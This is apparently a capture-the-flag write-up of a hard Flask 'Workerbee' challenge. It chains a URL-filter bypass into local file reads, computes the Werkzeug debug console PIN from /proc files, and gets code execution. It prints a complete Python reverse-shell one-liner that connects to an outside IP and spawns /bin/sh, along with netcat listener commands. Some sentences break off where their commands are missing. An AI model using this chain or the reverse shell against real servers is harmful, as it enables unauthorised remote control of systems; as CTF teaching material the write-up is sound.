This was a Hard challenge with only 19 solves. Created by JohnHammond#6971
Going to the “Workerbee” link we get a jinja2 traceback. Showing us we’re dealing with a Python 3.8 Flask application
Seeing that traceback shows that we’re currently in debug mode. That also allows for
/console. But for this we need a pin. This pin can be calculated or can be set with an environment variable
Going back to the homepage, I spin up a VPS to get a public ip address to test with.
python3 -m http.server 80 to setup a http server. Then input the our ip address and look what happens.
This shows us we need “https://”, this could be a hassle, maybe we can bypass this restriction.
After some manual testing I found it only requires “https://” to be somewhere within the given URL. Using
# will set the "fragment" part of the URL, this should have no effect on the returned data.
When it encounters a 404 request, it throws an exception. This shows us a tiny part of the source code processing our requests.
Now I want to see what the request exactly looks like, maybe that could lead us to the next part. So I stopped the python web server and start up a netcat listener on port 80 with
nc -lvnp 80.
Let’s try different protocols, we’re already using something it didn’t expect (HTTP instead of HTTPS) so maybe it can do something else.
FTP seems to be accepted, if only I had a ftp server running. What about
There we go, arbitrary file read! This looks like something we can use.
Lets try to read our environment variables, maybe then we can read the console pin.
No pin. Bummer.
Searching for another way around the console pin I came across this write up https://www.daehee.com/werkzeug-console-pin-exploit/ there they explain how the pin is generated, and how we can generate this ourselves.
For this we need to be able to read some files on the server. Since we have arbitrary file read this shouldn’t be an issue.
In that write up the actual code used to generate the pin is linked. https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py. I used that to find the files used to populate the “machine id” and mac address. This comes down to:
file:///proc/net/arp#https:// we get the internet interface device id
eth0 we can request the mac address with
Now use python to convert the address to a number
Next up is the machine id:
This value is less straight forward. Looking at the source code it uses the first not empty file of
/proc/sys/kernel/random/boot_id. After that it appends part of the first line of
This file seems empty, so we need the boot_id instead.
Okay, take note of that
641894fc-96e9-43ad-8808-741c3b603bbb, cgroup file next.
Copy the first line of the returned file. Paste it into a python shell and run it through the same functions as the pin generator.
This returns an empty string. So we can just omit this part and use the boot id.
Now I can update the exploit code given by https://www.daehee.com/werkzeug-console-pin-exploit/, update the private bits with the parts we just found and update the username and flask app.py path.
We got the username from the environment variables we leaked, and the flask app.py path from the traceback.
Note: machine id and mac address are unique to my instance.
After updating the code and saving the result we run it to get the console pin
724-510-242 into the pin field at the
And boom! We got a console!
Here we can run whatever python code we want, so we run this to get a reverse shell:
Before running the reverse shell code I opened up a netcat listener on the vps with
nc -lvnp 4444
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("126.96.36.199",4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);
Running that we got a shell on our listener
Then after doing some manual enumeration I found we have sudo rights without the need for a password, then we open bash as root and cat out the flag at
Now we can submit the flag and get our 500 points!
Thanks for reading!
Please follow me on twitter
Edit: fixed some typos